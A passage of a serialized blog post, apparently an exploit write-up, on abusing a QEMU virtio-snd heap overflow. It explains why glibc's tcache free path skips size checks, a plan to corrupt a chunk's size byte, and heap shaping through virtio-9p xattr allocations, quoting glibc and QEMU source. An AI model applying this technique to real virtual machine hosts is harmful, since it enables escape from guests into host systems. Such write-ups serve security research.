*/\n",{"type":24,"tag":147,"props":3559,"children":3560},{"class":149,"line":397},[3561,3565,3569,3574,3579,3584,3589,3594,3599,3604],{"type":24,"tag":147,"props":3562,"children":3563},{"style":321},[3564],{"type":29,"value":3057},{"type":24,"tag":147,"props":3566,"children":3567},{"style":235},[3568],{"type":29,"value":408},{"type":24,"tag":147,"props":3570,"children":3571},{"style":229},[3572],{"type":29,"value":3573},"__glibc_unlikely",{"type":24,"tag":147,"props":3575,"children":3576},{"style":235},[3577],{"type":29,"value":3578}," (size ",{"type":24,"tag":147,"props":3580,"children":3581},{"style":241},[3582],{"type":29,"value":3583},"\u003C",{"type":24,"tag":147,"props":3585,"children":3586},{"style":235},[3587],{"type":29,"value":3588}," MINSIZE ",{"type":24,"tag":147,"props":3590,"children":3591},{"style":241},[3592],{"type":29,"value":3593},"||",{"type":24,"tag":147,"props":3595,"children":3596},{"style":241},[3597],{"type":29,"value":3598}," !",{"type":24,"tag":147,"props":3600,"children":3601},{"style":229},[3602],{"type":29,"value":3603},"aligned_OK",{"type":24,"tag":147,"props":3605,"children":3606},{"style":235},[3607],{"type":29,"value":3608}," (size)))\n",{"type":24,"tag":147,"props":3610,"children":3611},{"class":149,"line":421},[3612,3616,3620,3625],{"type":24,"tag":147,"props":3613,"children":3614},{"style":229},[3615],{"type":29,"value":3527},{"type":24,"tag":147,"props":3617,"children":3618},{"style":235},[3619],{"type":29,"value":408},{"type":24,"tag":147,"props":3621,"children":3622},{"style":3534},[3623],{"type":29,"value":3624},"\"free(): invalid size\"",{"type":24,"tag":147,"props":3626,"children":3627},{"style":235},[3628],{"type":29,"value":1473},{"type":24,"tag":147,"props":3630,"children":3631},{"class":149,"line":435},[3632],{"type":24,"tag":147,"props":3633,"children":3634},{"emptyLinePlaceholder":16},[3635],{"type":29,"value":314},{"type":24,"tag":147,"props":3637,"children":3638},{"class":149,"line":444},[3639,3644],{"type":24,"tag":147,"props":3640,"children":3641},{"style":229},[3642],{"type":29,"value":3643},"  check_inuse_chunk",{"type":24,"tag":147,"props":3645,"children":3646},{"style":235},[3647],{"type":29,"value":3648},"(av, p);\n",{"type":24,"tag":147,"props":3650,"children":3651},{"class":149,"line":452},[3652],{"type":24,"tag":147,"props":3653,"children":3654},{"emptyLinePlaceholder":16},[3655],{"type":29,"value":314},{"type":24,"tag":147,"props":3657,"children":3658},{"class":149,"line":461},[3659],{"type":24,"tag":147,"props":3660,"children":3661},{"style":235},[3662],{"type":29,"value":3663},"  [...]\n",{"type":24,"tag":25,"props":3665,"children":3666},{},[3667],{"type":29,"value":3668},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":24,"tag":25,"props":3670,"children":3671},{},[3672,3674,3679,3681,3686,3688,3693,3695,3700],{"type":29,"value":3673},"The next check, however, ensures that the ",{"type":24,"tag":80,"props":3675,"children":3677},{"className":3676},[],[3678],{"type":29,"value":698},{"type":29,"value":3680}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":24,"tag":80,"props":3682,"children":3684},{"className":3683},[],[3685],{"type":29,"value":698},{"type":29,"value":3687}," must preserve alignment while also avoiding the ",{"type":24,"tag":80,"props":3689,"children":3691},{"className":3690},[],[3692],{"type":29,"value":2928},{"type":29,"value":3694}," bit. Under those constraints, exploiting the bug through ",{"type":24,"tag":80,"props":3696,"children":3698},{"className":3697},[],[3699],{"type":29,"value":698},{"type":29,"value":3701}," corruption looked very unreliable at first.",{"type":24,"tag":25,"props":3703,"children":3704},{},[3705],{"type":29,"value":3706},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":24,"tag":137,"props":3708,"children":3710},{"code":3709,"language":140,"meta":7,"className":141,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n    {\n      [...]\n\n      return tcache_put (p, tc_idx);\n    }\n",[3711],{"type":24,"tag":80,"props":3712,"children":3713},{"__ignoreMap":7},[3714,3722,3749,3756,3763,3770,3789,3796,3816,3823,3851,3875,3882,3895,3937,3944,3952,3959,3977],{"type":24,"tag":147,"props":3715,"children":3716},{"class":149,"line":150},[3717],{"type":24,"tag":147,"props":3718,"children":3719},{"style":218},[3720],{"type":29,"value":3721},"void\n",{"type":24,"tag":147,"props":3723,"children":3724},{"class":149,"line":160},[3725,3729,3733,3737,3741,3745],{"type":24,"tag":147,"props":3726,"children":3727},{"style":229},[3728],{"type":29,"value":2976},{"type":24,"tag":147,"props":3730,"children":3731},{"style":235},[3732],{"type":29,"value":408},{"type":24,"tag":147,"props":3734,"children":3735},{"style":218},[3736],{"type":29,"value":1258},{"type":24,"tag":147,"props":3738,"children":3739},{"style":241},[3740],{"type":29,"value":1263},{"type":24,"tag":147,"props":3742,"children":3743},{"style":247},[3744],{"type":29,"value":2993},{"type":24,"tag":147,"props":3746,"children":3747},{"style":235},[3748],{"type":29,"value":269},{"type":24,"tag":147,"props":3750,"children":3751},{"class":149,"line":169},[3752],{"type":24,"tag":147,"props":3753,"children":3754},{"style":235},[3755],{"type":29,"value":278},{"type":24,"tag":147,"props":3757,"children":3758},{"class":149,"line":178},[3759],{"type":24,"tag":147,"props":3760,"children":3761},{"style":235},[3762],{"type":29,"value":3020},{"type":24,"tag":147,"props":3764,"children":3765},{"class":149,"line":187},[3766],{"type":24,"tag":147,"props":3767,"children":3768},{"emptyLinePlaceholder":16},[3769],{"type":29,"value":314},{"type":24,"tag":147,"props":3771,"children":3772},{"class":149,"line":196},[3773,3777,3781,3785],{"type":24,"tag":147,"props":3774,"children":3775},{"style":235},[3776],{"type":29,"value":3035},{"type":24,"tag":147,"props":3778,"children":3779},{"style":241},[3780],{"type":29,"value":369},{"type":24,"tag":147,"props":3782,"children":3783},{"style":229},[3784],{"type":29,"value":3044},{"type":24,"tag":147,"props":3786,"children":3787},{"style":235},[3788],{"type":29,"value":3049},{"type":24,"tag":147,"props":3790,"children":3791},{"class":149,"line":205},[3792],{"type":24,"tag":147,"props":3793,"children":3794},{"emptyLinePlaceholder":16},[3795],{"type":29,"value":314},{"type":24,"tag":147,"props":3797,"children":3798},{"class":149,"line":214},[3799,3804,3808,3812],{"type":24,"tag":147,"props":3800,"children":3801},{"style":235},[3802],{"type":29,"value":3803},"  INTERNAL_SIZE_T size ",{"type":24,"tag":147,"props":3805,"children":3806},{"style":241},[3807],{"type":29,"value":369},{"type":24,"tag":147,"props":3809,"children":3810},{"style":229},[3811],{"type":29,"value":3374},{"type":24,"tag":147,"props":3813,"children":3814},{"style":235},[3815],{"type":29,"value":3092},{"type":24,"tag":147,"props":3817,"children":3818},{"class":149,"line":272},[3819],{"type":24,"tag":147,"props":3820,"children":3821},{"emptyLinePlaceholder":16},[3822],{"type":29,"value":314},{"type":24,"tag":147,"props":3824,"children":3825},{"class":149,"line":281},[3826,3830,3834,3838,3842,3846],{"type":24,"tag":147,"props":3827,"children":3828},{"style":321},[3829],{"type":29,"value":3057},{"type":24,"tag":147,"props":3831,"children":3832},{"style":235},[3833],{"type":29,"value":408},{"type":24,"tag":147,"props":3835,"children":3836},{"style":229},[3837],{"type":29,"value":3573},{"type":24,"tag":147,"props":3839,"children":3840},{"style":235},[3841],{"type":29,"value":408},{"type":24,"tag":147,"props":3843,"children":3844},{"style":229},[3845],{"type":29,"value":3505},{"type":24,"tag":147,"props":3847,"children":3848},{"style":235},[3849],{"type":29,"value":3850}," (p)))\n",{"type":24,"tag":147,"props":3852,"children":3853},{"class":149,"line":299},[3854,3858,3863,3867,3871],{"type":24,"tag":147,"props":3855,"children":3856},{"style":321},[3857],{"type":29,"value":2597},{"type":24,"tag":147,"props":3859,"children":3860},{"style":229},[3861],{"type":29,"value":3862}," malloc_printerr_tail",{"type":24,"tag":147,"props":3864,"children":3865},{"style":235},[3866],{"type":29,"value":408},{"type":24,"tag":147,"props":3868,"children":3869},{"style":3534},[3870],{"type":29,"value":3537},{"type":24,"tag":147,"props":3872,"children":3873},{"style":235},[3874],{"type":29,"value":1473},{"type":24,"tag":147,"props":3876,"children":3877},{"class":149,"line":308},[3878],{"type":24,"tag":147,"props":3879,"children":3880},{"emptyLinePlaceholder":16},[3881],{"type":29,"value":314},{"type":24,"tag":147,"props":3883,"children":3884},{"class":149,"line":317},[3885,3890],{"type":24,"tag":147,"props":3886,"children":3887},{"style":321},[3888],{"type":29,"value":3889},"#if",{"type":24,"tag":147,"props":3891,"children":3892},{"style":229},[3893],{"type":29,"value":3894}," USE_TCACHE\n",{"type":24,"tag":147,"props":3896,"children":3897},{"class":149,"line":332},[3898,3902,3906,3911,3915,3919,3924,3928,3933],{"type":24,"tag":147,"props":3899,"children":3900},{"style":321},[3901],{"type":29,"value":3057},{"type":24,"tag":147,"props":3903,"children":3904},{"style":235},[3905],{"type":29,"value":408},{"type":24,"tag":147,"props":3907,"children":3908},{"style":229},[3909],{"type":29,"value":3910},"__glibc_likely",{"type":24,"tag":147,"props":3912,"children":3913},{"style":235},[3914],{"type":29,"value":3578},{"type":24,"tag":147,"props":3916,"children":3917},{"style":241},[3918],{"type":29,"value":3583},{"type":24,"tag":147,"props":3920,"children":3921},{"style":247},[3922],{"type":29,"value":3923}," mp_",{"type":24,"tag":147,"props":3925,"children":3926},{"style":235},[3927],{"type":29,"value":87},{"type":24,"tag":147,"props":3929,"children":3930},{"style":247},[3931],{"type":29,"value":3932},"tcache_max_bytes",{"type":24,"tag":147,"props":3934,"children":3935},{"style":235},[3936],{"type":29,"value":3519},{"type":24,"tag":147,"props":3938,"children":3939},{"class":149,"line":350},[3940],{"type":24,"tag":147,"props":3941,"children":3942},{"style":235},[3943],{"type":29,"value":3079},{"type":24,"tag":147,"props":3945,"children":3946},{"class":149,"line":358},[3947],{"type":24,"tag":147,"props":3948,"children":3949},{"style":235},[3950],{"type":29,"value":3951},"      [...]\n",{"type":24,"tag":147,"props":3953,"children":3954},{"class":149,"line":397},[3955],{"type":24,"tag":147,"props":3956,"children":3957},{"emptyLinePlaceholder":16},[3958],{"type":29,"value":314},{"type":24,"tag":147,"props":3960,"children":3961},{"class":149,"line":421},[3962,3967,3972],{"type":24,"tag":147,"props":3963,"children":3964},{"style":321},[3965],{"type":29,"value":3966},"      return",{"type":24,"tag":147,"props":3968,"children":3969},{"style":229},[3970],{"type":29,"value":3971}," tcache_put",{"type":24,"tag":147,"props":3973,"children":3974},{"style":235},[3975],{"type":29,"value":3976}," (p, tc_idx);\n",{"type":24,"tag":147,"props":3978,"children":3979},{"class":149,"line":435},[3980],{"type":24,"tag":147,"props":3981,"children":3982},{"style":235},[3983],{"type":29,"value":1952},{"type":24,"tag":25,"props":3985,"children":3986},{},[3987,3989,3994],{"type":29,"value":3988},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":24,"tag":80,"props":3990,"children":3992},{"className":3991},[],[3993],{"type":29,"value":698},{"type":29,"value":3995}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":24,"tag":25,"props":3997,"children":3998},{},[3999,4001,4007,4008,4013],{"type":29,"value":4000},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":24,"tag":80,"props":4002,"children":4004},{"className":4003},[],[4005],{"type":29,"value":4006},"check_inuse_chunk",{"type":29,"value":408},{"type":24,"tag":80,"props":4009,"children":4011},{"className":4010},[],[4012],{"type":29,"value":838},{"type":29,"value":4014},"):",{"type":24,"tag":137,"props":4016,"children":4018},{"code":4017,"language":140,"meta":7,"className":141,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n  check_inuse_chunk (arena_for_chunk (p), p);             // [1]\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n  [...]\n",[4019],{"type":24,"tag":80,"props":4020,"children":4021},{"__ignoreMap":7},[4022,4029,4056,4063,4070,4077,4096,4103,4122,4129,4156,4179,4186,4212,4219,4230,4289],{"type":24,"tag":147,"props":4023,"children":4024},{"class":149,"line":150},[4025],{"type":24,"tag":147,"props":4026,"children":4027},{"style":218},[4028],{"type":29,"value":3721},{"type":24,"tag":147,"props":4030,"children":4031},{"class":149,"line":160},[4032,4036,4040,4044,4048,4052],{"type":24,"tag":147,"props":4033,"children":4034},{"style":229},[4035],{"type":29,"value":2976},{"type":24,"tag":147,"props":4037,"children":4038},{"style":235},[4039],{"type":29,"value":408},{"type":24,"tag":147,"props":4041,"children":4042},{"style":218},[4043],{"type":29,"value":1258},{"type":24,"tag":147,"props":4045,"children":4046},{"style":241},[4047],{"type":29,"value":1263},{"type":24,"tag":147,"props":4049,"children":4050},{"style":247},[4051],{"type":29,"value":2993},{"type":24,"tag":147,"props":4053,"children":4054},{"style":235},[4055],{"type":29,"value":269},{"type":24,"tag":147,"props":4057,"children":4058},{"class":149,"line":169},[4059],{"type":24,"tag":147,"props":4060,"children":4061},{"style":235},[4062],{"type":29,"value":278},{"type":24,"tag":147,"props":4064,"children":4065},{"class":149,"line":178},[4066],{"type":24,"tag":147,"props":4067,"children":4068},{"style":235},[4069],{"type":29,"value":3020},{"type":24,"tag":147,"props":4071,"children":4072},{"class":149,"line":187},[4073],{"type":24,"tag":147,"props":4074,"children":4075},{"emptyLinePlaceholder":16},[4076],{"type":29,"value":314},{"type":24,"tag":147,"props":4078,"children":4079},{"class":149,"line":196},[4080,4084,4088,4092],{"type":24,"tag":147,"props":4081,"children":4082},{"style":235},[4083],{"type":29,"value":3035},{"type":24,"tag":147,"props":4085,"children":4086},{"style":241},[4087],{"type":29,"value":369},{"type":24,"tag":147,"props":4089,"children":4090},{"style":229},[4091],{"type":29,"value":3044},{"type":24,"tag":147,"props":4093,"children":4094},{"style":235},[4095],{"type":29,"value":3049},{"type":24,"tag":147,"props":4097,"children":4098},{"class":149,"line":205},[4099],{"type":24,"tag":147,"props":4100,"children":4101},{"emptyLinePlaceholder":16},[4102],{"type":29,"value":314},{"type":24,"tag":147,"props":4104,"children":4105},{"class":149,"line":214},[4106,4110,4114,4118],{"type":24,"tag":147,"props":4107,"children":4108},{"style":235},[4109],{"type":29,"value":3803},{"type":24,"tag":147,"props":4111,"children":4112},{"style":241},[4113],{"type":29,"value":369},{"type":24,"tag":147,"props":4115,"children":4116},{"style":229},[4117],{"type":29,"value":3374},{"type":24,"tag":147,"props":4119,"children":4120},{"style":235},[4121],{"type":29,"value":3092},{"type":24,"tag":147,"props":4123,"children":4124},{"class":149,"line":272},[4125],{"type":24,"tag":147,"props":4126,"children":4127},{"emptyLinePlaceholder":16},[4128],{"type":29,"value":314},{"type":24,"tag":147,"props":4130,"children":4131},{"class":149,"line":281},[4132,4136,4140,4144,4148,4152],{"type":24,"tag":147,"props":4133,"children":4134},{"style":321},[4135],{"type":29,"value":3057},{"type":24,"tag":147,"props":4137,"children":4138},{"style":235},[4139],{"type":29,"value":408},{"type":24,"tag":147,"props":4141,"children":4142},{"style":229},[4143],{"type":29,"value":3573},{"type":24,"tag":147,"props":4145,"children":4146},{"style":235},[4147],{"type":29,"value":408},{"type":24,"tag":147,"props":4149,"children":4150},{"style":229},[4151],{"type":29,"value":3505},{"type":24,"tag":147,"props":4153,"children":4154},{"style":235},[4155],{"type":29,"value":3850},{"type":24,"tag":147,"props":4157,"children":4158},{"class":149,"line":299},[4159,4163,4167,4171,4175],{"type":24,"tag":147,"props":4160,"children":4161},{"style":321},[4162],{"type":29,"value":2597},{"type":24,"tag":147,"props":4164,"children":4165},{"style":229},[4166],{"type":29,"value":3862},{"type":24,"tag":147,"props":4168,"children":4169},{"style":235},[4170],{"type":29,"value":408},{"type":24,"tag":147,"props":4172,"children":4173},{"style":3534},[4174],{"type":29,"value":3537},{"type":24,"tag":147,"props":4176,"children":4177},{"style":235},[4178],{"type":29,"value":1473},{"type":24,"tag":147,"props":4180,"children":4181},{"class":149,"line":308},[4182],{"type":24,"tag":147,"props":4183,"children":4184},{"emptyLinePlaceholder":16},[4185],{"type":29,"value":314},{"type":24,"tag":147,"props":4187,"children":4188},{"class":149,"line":317},[4189,4193,4197,4202,4207],{"type":24,"tag":147,"props":4190,"children":4191},{"style":229},[4192],{"type":29,"value":3643},{"type":24,"tag":147,"props":4194,"children":4195},{"style":235},[4196],{"type":29,"value":408},{"type":24,"tag":147,"props":4198,"children":4199},{"style":229},[4200],{"type":29,"value":4201},"arena_for_chunk",{"type":24,"tag":147,"props":4203,"children":4204},{"style":235},[4205],{"type":29,"value":4206}," (p), p);",{"type":24,"tag":147,"props":4208,"children":4209},{"style":154},[4210],{"type":29,"value":4211},"             // [1]\n",{"type":24,"tag":147,"props":4213,"children":4214},{"class":149,"line":332},[4215],{"type":24,"tag":147,"props":4216,"children":4217},{"emptyLinePlaceholder":16},[4218],{"type":29,"value":314},{"type":24,"tag":147,"props":4220,"children":4221},{"class":149,"line":350},[4222,4226],{"type":24,"tag":147,"props":4223,"children":4224},{"style":321},[4225],{"type":29,"value":3889},{"type":24,"tag":147,"props":4227,"children":4228},{"style":229},[4229],{"type":29,"value":3894},{"type":24,"tag":147,"props":4231,"children":4232},{"class":149,"line":358},[4233,4237,4241,4245,4249,4253,4257,4261,4265,4270,4275,4280,4285],{"type":24,"tag":147,"props":4234,"children":4235},{"style":321},[4236],{"type":29,"value":3057},{"type":24,"tag":147,"props":4238,"children":4239},{"style":235},[4240],{"type":29,"value":408},{"type":24,"tag":147,"props":4242,"children":4243},{"style":229},[4244],{"type":29,"value":3910},{"type":24,"tag":147,"props":4246,"children":4247},{"style":235},[4248],{"type":29,"value":3578},{"type":24,"tag":147,"props":4250,"children":4251},{"style":241},[4252],{"type":29,"value":3583},{"type":24,"tag":147,"props":4254,"children":4255},{"style":247},[4256],{"type":29,"value":3923},{"type":24,"tag":147,"props":4258,"children":4259},{"style":235},[4260],{"type":29,"value":87},{"type":24,"tag":147,"props":4262,"children":4263},{"style":247},[4264],{"type":29,"value":3932},{"type":24,"tag":147,"props":4266,"children":4267},{"style":241},[4268],{"type":29,"value":4269}," &&",{"type":24,"tag":147,"props":4271,"children":4272},{"style":235},[4273],{"type":29,"value":4274}," tcache ",{"type":24,"tag":147,"props":4276,"children":4277},{"style":241},[4278],{"type":29,"value":4279},"!=",{"type":24,"tag":147,"props":4281,"children":4282},{"style":218},[4283],{"type":29,"value":4284}," NULL",{"type":24,"tag":147,"props":4286,"children":4287},{"style":235},[4288],{"type":29,"value":3519},{"type":24,"tag":147,"props":4290,"children":4291},{"class":149,"line":397},[4292],{"type":24,"tag":147,"props":4293,"children":4294},{"style":235},[4295],{"type":29,"value":3663},{"type":24,"tag":25,"props":4297,"children":4298},{},[4299,4301,4306],{"type":29,"value":4300},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":24,"tag":80,"props":4302,"children":4304},{"className":4303},[],[4305],{"type":29,"value":698},{"type":29,"value":4307},", because on the latest 2.43 glibc they are non-existent.",{"type":24,"tag":2665,"props":4309,"children":4310},{},[],{"type":24,"tag":25,"props":4312,"children":4313},{},[4314,4316,4321,4323,4329,4331,4336,4338,4344],{"type":29,"value":4315},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":24,"tag":80,"props":4317,"children":4319},{"className":4318},[],[4320],{"type":29,"value":698},{"type":29,"value":4322}," field was initially ",{"type":24,"tag":80,"props":4324,"children":4326},{"className":4325},[],[4327],{"type":29,"value":4328},"0x200",{"type":29,"value":4330},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":24,"tag":80,"props":4332,"children":4334},{"className":4333},[],[4335],{"type":29,"value":2936},{"type":29,"value":4337},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":24,"tag":80,"props":4339,"children":4341},{"className":4340},[],[4342],{"type":29,"value":4343},"[0x210, 0x2f0]",{"type":29,"value":4345},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":24,"tag":25,"props":4347,"children":4348},{},[4349],{"type":29,"value":4350},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":24,"tag":43,"props":4352,"children":4354},{"id":4353},"heap-spraying",[4355],{"type":29,"value":4356},"Heap Spraying",{"type":24,"tag":25,"props":4358,"children":4359},{},[4360,4362,4367],{"type":29,"value":4361},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":24,"tag":80,"props":4363,"children":4365},{"className":4364},[],[4366],{"type":29,"value":4328},{"type":29,"value":4368},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":24,"tag":25,"props":4370,"children":4371},{},[4372,4374,4379],{"type":29,"value":4373},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":24,"tag":80,"props":4375,"children":4377},{"className":4376},[],[4378],{"type":29,"value":906},{"type":29,"value":4380}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":24,"tag":25,"props":4382,"children":4383},{},[4384],{"type":29,"value":4385},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":24,"tag":112,"props":4387,"children":4389},{"id":4388},"virtio-9p",[4390],{"type":29,"value":4388},{"type":24,"tag":25,"props":4392,"children":4393},{},[4394,4399],{"type":24,"tag":80,"props":4395,"children":4397},{"className":4396},[],[4398],{"type":29,"value":4388},{"type":29,"value":4400}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":24,"tag":25,"props":4402,"children":4403},{},[4404,4406,4412,4414,4420,4421,4427,4429,4434],{"type":29,"value":4405},"Through a ",{"type":24,"tag":80,"props":4407,"children":4409},{"className":4408},[],[4410],{"type":29,"value":4411},"P9_TXATTRCREATE",{"type":29,"value":4413}," request, we can allocate host-side buffers for both the ",{"type":24,"tag":80,"props":4415,"children":4417},{"className":4416},[],[4418],{"type":29,"value":4419},".name",{"type":29,"value":855},{"type":24,"tag":80,"props":4422,"children":4424},{"className":4423},[],[4425],{"type":29,"value":4426},".value",{"type":29,"value":4428}," fields, with the size of ",{"type":24,"tag":80,"props":4430,"children":4432},{"className":4431},[],[4433],{"type":29,"value":4426},{"type":29,"value":4435}," being directly controlled by the guest.",{"type":24,"tag":137,"props":4437,"children":4439},{"code":4438,"language":140,"meta":7,"className":141,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    int flags, rflags = 0;\n    int32_t fid;\n    uint64_t size;\n    ssize_t err = 0;\n    V9fsString name;\n    size_t offset = 7;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n    V9fsPDU *pdu = opaque;\n\n    v9fs_string_init(&name);\n    err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n    if (err \u003C 0) {\n        goto out_nofid;\n    }\n\n    [...]\n\n    if (size > P9_XATTR_SIZE_MAX) {\n        err = -E2BIG;\n        goto out_nofid;\n    }\n\n    [...]\n\n    v9fs_string_init(&xattr_fidp->fs.xattr.name);\n    v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[4440],{"type":24,"tag":80,"props":4441,"children":4442},{"__ignoreMap":7},[4443,4485,4492,4517,4530,4541,4566,4574,4599,4616,4632,4658,4665,4686,4752,4777,4790,4797,4804,4811,4818,4838,4859,4870,4877,4884,4891,4898,4949,5005,5051],{"type":24,"tag":147,"props":4444,"children":4445},{"class":149,"line":150},[4446,4450,4454,4459,4464,4468,4472,4476,4481],{"type":24,"tag":147,"props":4447,"children":4448},{"style":218},[4449],{"type":29,"value":221},{"type":24,"tag":147,"props":4451,"children":4452},{"style":218},[4453],{"type":29,"value":226},{"type":24,"tag":147,"props":4455,"children":4456},{"style":235},[4457],{"type":29,"value":4458}," coroutine_fn ",{"type":24,"tag":147,"props":4460,"children":4461},{"style":229},[4462],{"type":29,"value":4463},"v9fs_xattrcreate",{"type":24,"tag":147,"props":4465,"children":4466},{"style":235},[4467],{"type":29,"value":480},{"type":24,"tag":147,"props":4469,"children":4470},{"style":218},[4471],{"type":29,"value":1258},{"type":24,"tag":147,"props":4473,"children":4474},{"style":241},[4475],{"type":29,"value":1263},{"type":24,"tag":147,"props":4477,"children":4478},{"style":247},[4479],{"type":29,"value":4480},"opaque",{"type":24,"tag":147,"props":4482,"children":4483},{"style":235},[4484],{"type":29,"value":269},{"type":24,"tag":147,"props":4486,"children":4487},{"class":149,"line":160},[4488],{"type":24,"tag":147,"props":4489,"children":4490},{"style":235},[4491],{"type":29,"value":278},{"type":24,"tag":147,"props":4493,"children":4494},{"class":149,"line":169},[4495,4500,4505,4509,4513],{"type":24,"tag":147,"props":4496,"children":4497},{"style":218},[4498],{"type":29,"value":4499},"    int",{"type":24,"tag":147,"props":4501,"children":4502},{"style":235},[4503],{"type":29,"value":4504}," flags, rflags ",{"type":24,"tag":147,"props":4506,"children":4507},{"style":241},[4508],{"type":29,"value":369},{"type":24,"tag":147,"props":4510,"children":4511},{"style":705},[4512],{"type":29,"value":708},{"type":24,"tag":147,"props":4514,"children":4515},{"style":235},[4516],{"type":29,"value":432},{"type":24,"tag":147,"props":4518,"children":4519},{"class":149,"line":178},[4520,4525],{"type":24,"tag":147,"props":4521,"children":4522},{"style":218},[4523],{"type":29,"value":4524},"    int32_t",{"type":24,"tag":147,"props":4526,"children":4527},{"style":235},[4528],{"type":29,"value":4529}," fid;\n",{"type":24,"tag":147,"props":4531,"children":4532},{"class":149,"line":187},[4533,4537],{"type":24,"tag":147,"props":4534,"children":4535},{"style":218},[4536],{"type":29,"value":1064},{"type":24,"tag":147,"props":4538,"children":4539},{"style":235},[4540],{"type":29,"value":1056},{"type":24,"tag":147,"props":4542,"children":4543},{"class":149,"line":196},[4544,4549,4554,4558,4562],{"type":24,"tag":147,"props":4545,"children":4546},{"style":218},[4547],{"type":29,"value":4548},"    ssize_t",{"type":24,"tag":147,"props":4550,"children":4551},{"style":235},[4552],{"type":29,"value":4553}," err ",{"type":24,"tag":147,"props":4555,"children":4556},{"style":241},[4557],{"type":29,"value":369},{"type":24,"tag":147,"props":4559,"children":4560},{"style":705},[4561],{"type":29,"value":708},{"type":24,"tag":147,"props":4563,"children":4564},{"style":235},[4565],{"type":29,"value":432},{"type":24,"tag":147,"props":4567,"children":4568},{"class":149,"line":205},[4569],{"type":24,"tag":147,"props":4570,"children":4571},{"style":235},[4572],{"type":29,"value":4573},"    V9fsString name;\n",{"type":24,"tag":147,"props":4575,"children":4576},{"class":149,"line":214},[4577,4581,4586,4590,4595],{"type":24,"tag":147,"props":4578,"children":4579},{"style":218},[4580],{"type":29,"value":1051},{"type":24,"tag":147,"props":4582,"children":4583},{"style":235},[4584],{"type":29,"value":4585}," offset ",{"type":24,"tag":147,"props":4587,"children":4588},{"style":241},[4589],{"type":29,"value":369},{"type":24,"tag":147,"props":4591,"children":4592},{"style":705},[4593],{"type":29,"value":4594}," 7",{"type":24,"tag":147,"props":4596,"children":4597},{"style":235},[4598],{"type":29,"value":432},{"type":24,"tag":147,"props":4600,"children":4601},{"class":149,"line":272},[4602,4607,4611],{"type":24,"tag":147,"props":4603,"children":4604},{"style":235},[4605],{"type":29,"value":4606},"    V9fsFidState ",{"type":24,"tag":147,"props":4608,"children":4609},{"style":241},[4610],{"type":29,"value":244},{"type":24,"tag":147,"props":4612,"children":4613},{"style":235},[4614],{"type":29,"value":4615},"file_fidp;\n",{"type":24,"tag":147,"props":4617,"children":4618},{"class":149,"line":281},[4619,4623,4627],{"type":24,"tag":147,"props":4620,"children":4621},{"style":235},[4622],{"type":29,"value":4606},{"type":24,"tag":147,"props":4624,"children":4625},{"style":241},[4626],{"type":29,"value":244},{"type":24,"tag":147,"props":4628,"children":4629},{"style":235},[4630],{"type":29,"value":4631},"xattr_fidp;\n",{"type":24,"tag":147,"props":4633,"children":4634},{"class":149,"line":299},[4635,4640,4644,4649,4653],{"type":24,"tag":147,"props":4636,"children":4637},{"style":235},[4638],{"type":29,"value":4639},"    V9fsPDU ",{"type":24,"tag":147,"props":4641,"children":4642},{"style":241},[4643],{"type":29,"value":244},{"type":24,"tag":147,"props":4645,"children":4646},{"style":235},[4647],{"type":29,"value":4648},"pdu ",{"type":24,"tag":147,"props":4650,"children":4651},{"style":241},[4652],{"type":29,"value":369},{"type":24,"tag":147,"props":4654,"children":4655},{"style":235},[4656],{"type":29,"value":4657}," opaque;\n",{"type":24,"tag":147,"props":4659,"children":4660},{"class":149,"line":308},[4661],{"type":24,"tag":147,"props":4662,"children":4663},{"emptyLinePlaceholder":16},[4664],{"type":29,"value":314},{"type":24,"tag":147,"props":4666,"children":4667},{"class":149,"line":317},[4668,4673,4677,4681],{"type":24,"tag":147,"props":4669,"children":4670},{"style":229},[4671],{"type":29,"value":4672},"    